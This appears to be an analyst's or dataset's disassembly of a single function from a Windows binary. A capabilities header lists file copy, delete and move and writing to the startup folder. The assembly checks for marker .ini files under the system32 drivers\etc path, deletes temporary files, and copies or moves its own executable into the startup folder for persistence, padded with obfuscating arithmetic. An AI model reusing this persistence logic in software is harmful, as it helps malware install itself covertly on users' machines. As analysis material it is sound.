Function at 0x40e080
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x45e640]
mov dword [esp + 0x300], eax
push ebx
push esi
mov esi, dword [0x45cce4]
mov eax, 0x9baa0995
imul esi
mov eax, dword [0x45ccd0]
add edx, esi
sar edx, 0x13
mov ecx, edx
push edi
mov edi, dword [0x45cccc]
lea ebx, [eax + edi]
shr ecx, 0x1f
imul ebx, ebx, 0x6dec5
add ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x3ef21
add ebx, edx
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
mov esi, edx
add ebx, edx
mov eax, 0x3ecaa423
imul edi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0xa0dd9
shr esi, 0x1f
add esi, ebx
sub esi, eax
mov eax, dword [0x45ccc8]
add esi, ecx
add edx, esi
mov esi, dword [0x45ccd8]
mov dword [0x45ccdc], edx
mov edx, dword [0x45ccd4]
lea edi, [edx + eax]
mov eax, 0x950cb67f
imul edi, edi, 0x26a94
imul esi
add edx, esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
mov eax, edx
imul eax, eax, 0x85c24
add edi, eax
mov eax, 0x60d8eff
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ecx
push 0
push str.C:_WINDoWS_system32driverseTc_seRvicE1.ini
mov dword [0x45cce4], eax
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
je 0x40e660
push 0
push str.C:_WINDoWS_system32driverseTc_sErvIce2.ini
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
je 0x40e660
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
imul esi, esi, 0x3ef21
mov eax, 0x10449d67
imul ecx
sar edx, 0xe
add esi, edx
mov edi, edx
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr esi, 0x1f
add esi, edi
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x3ecaa423
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xcbb2b9d
imul ecx
sar edx, 0xf
mov ecx, edx
add esi, edx
push 0x104
lea edx, [esp + 0x210]
shr ecx, 0x1f
push edx
add ecx, esi
push 0
mov dword [0x45ccc8], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x20c]
push 0x5c
push eax
call fcn.00430c90
push str..tmp
lea ecx, [esp + 0x218]
push ecx
lea edx, [esp + 0x1c]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.0042fe91
mov ecx, dword [0x45ccd8]
mov eax, 0x10449d67
imul ecx
imul ecx, ecx, 0xd2812
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd0]
mov edi, eax
mov eax, 0x60d8eff
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45ccdc]
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add esp, 0x18
add ecx, edx
mov edx, dword [0x45cce8]
mov eax, dword [0x45ccc8]
imul edx, edx, 0x8a702
imul eax, eax, 0x8276a
sub edi, ecx
add edi, edx
add edi, eax
mov eax, dword [0x45cce4]
push 0
push 0x18
lea ecx, [esp + 0x114]
sub edi, eax
push ecx
sub edi, 0x3ef21
push 0
mov dword [0x45ccd0], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x10c]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e307
push ebp
sub eax, ecx
push esi
lea edx, [esp + eax + 0x114]
push 0x44d20c
push edx
call fcn.0042fe91
mov ecx, dword [0x45cce0]
mov esi, dword [0x45cce8]
mov eax, 0x69f239fb
imul ecx
imul ecx, ecx, 0x26a94
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, esi
imul edi, edi, 0x3ef21
mov ebx, eax
sub ebx, edi
mov edi, dword [0x45ccd4]
mov eax, 0x1e9f4e3
imul edi
add ebx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x85c24
sub ebx, ecx
add ebx, edx
mov eax, 0x3da8152f
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x76595943
imul esi
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
add esp, 0xc
mov dword [0x45ccd8], ecx
xor ebx, ebx
jmp 0x40e3c1
mov ecx, dword [0x45ccd8]
mov edi, dword [0x45ccd4]
mov esi, dword [0x45cce8]
mov edx, dword [0x45ccd0]
imul edi, edi, 0x8a702
imul ecx, ecx, 0xa0dd9
mov eax, dword [0x45ccdc]
lea ebp, [esi + edx]
imul eax, eax, 0x3ef21
imul ebp, ebp, 0x54963
sub ebp, eax
mov eax, 0x950cb67f
imul esi
add edx, esi
sar edx, 0x12
mov esi, edx
add ebp, edx
mov edx, dword [0x45cccc]
mov eax, 0x60d8eff
imul edx
sar edx, 0xd
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebp
add eax, edx
sub esi, eax
sub esi, edi
add esi, ecx
lea ecx, [esp + 0x10]
push 0
push ecx
mov dword [0x45cce0], esi
call fcn.0043022d
add esp, 8
cmp eax, 0xffffffff
je 0x40e44a
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebx
cmp ebx, 0x64
jl 0x40e3af
mov edi, dword [0x45ccd0]
mov eax, dword [0x45ccd8]
mov esi, dword [0x45cce4]
lea ebx, [eax + edi]
imul edi, edi, 0x85c24
imul ebx, ebx, 0x84dd7
mov ecx, esi
imul ecx, ecx, 0x3ef21
sub ebx, ecx
mov ecx, dword [0x45ccc8]
mov eax, 0x69f239fb
imul ecx
sar edx, 0x10
add ebx, edx
mov ebp, edx
mov eax, 0x1e9f4e3
imul ecx
shr ebp, 0x1f
sar edx, 0xc
add ebp, ebx
add ebp, edx
mov ecx, edx
mov eax, 0xcbb2b9d
imul dword [str._r_____r____]
sar edx, 0xf
shr ecx, 0x1f
add ecx, ebp
mov eax, edx
shr eax, 0x1f
sub ecx, edi
mov edi, dword [esp + 0x318]
add eax, edx
sub ecx, eax
test edi, edi
mov dword [0x45cce8], ecx
je 0x40e4d3
cmp edi, 2
jne 0x40e5b6
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
push edx
call ebx
test eax, eax
jne 0x40e5aa
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x84dd7
mov ebp, eax
sub ebp, edi
add ebp, edx
mov eax, 0x9baa0995
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x9baa0995
imul ecx
mov eax, dword [0x45ccdc]
add edx, ecx
imul eax, eax, 0x8276a
sar edx, 0x13
mov ecx, edx
add ebp, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0x8a702
shr ecx, 0x1f
add ecx, ebp
add ecx, edx
add ecx, eax
mov dword [str._r_____r____], ecx
push 6
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
push edx
call ebx
pop ebp
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x300]
call fcn.0042fcc1
add esp, 0x304
ret
mov esi, dword [0x45cce4]
mov ecx, dword [0x45cce8]
mov edx, dword [0x45cccc]
imul esi, esi, 0x3ef21
imul ecx, ecx, 0x8a702
mov eax, 0x69f239fb
imul edx
sar edx, 0x10
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45ccd4]
mov eax, 0x1e9f4e3
imul esi
mov eax, dword [0x45cce0]
imul eax, eax, 0x84dd7
sar edx, 0xc
mov ebp, edx
add ebx, edx
shr ebp, 0x1f
add ebp, ebx
add ebp, eax
mov eax, 0x3ecaa423
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ebp, edx
mov edx, dword [str._r_____r____]
add eax, ebp
sub eax, ecx
sub eax, edx
add eax, 0x54963
cmp edi, 1
mov dword [0x45cccc], eax
je 0x40e632
cmp edi, 2
jne 0x40e647
push 0
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x300]
call fcn.0042fcc1
add esp, 0x304
ret
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
call fcn.0042fcc1
add esp, 0x304
ret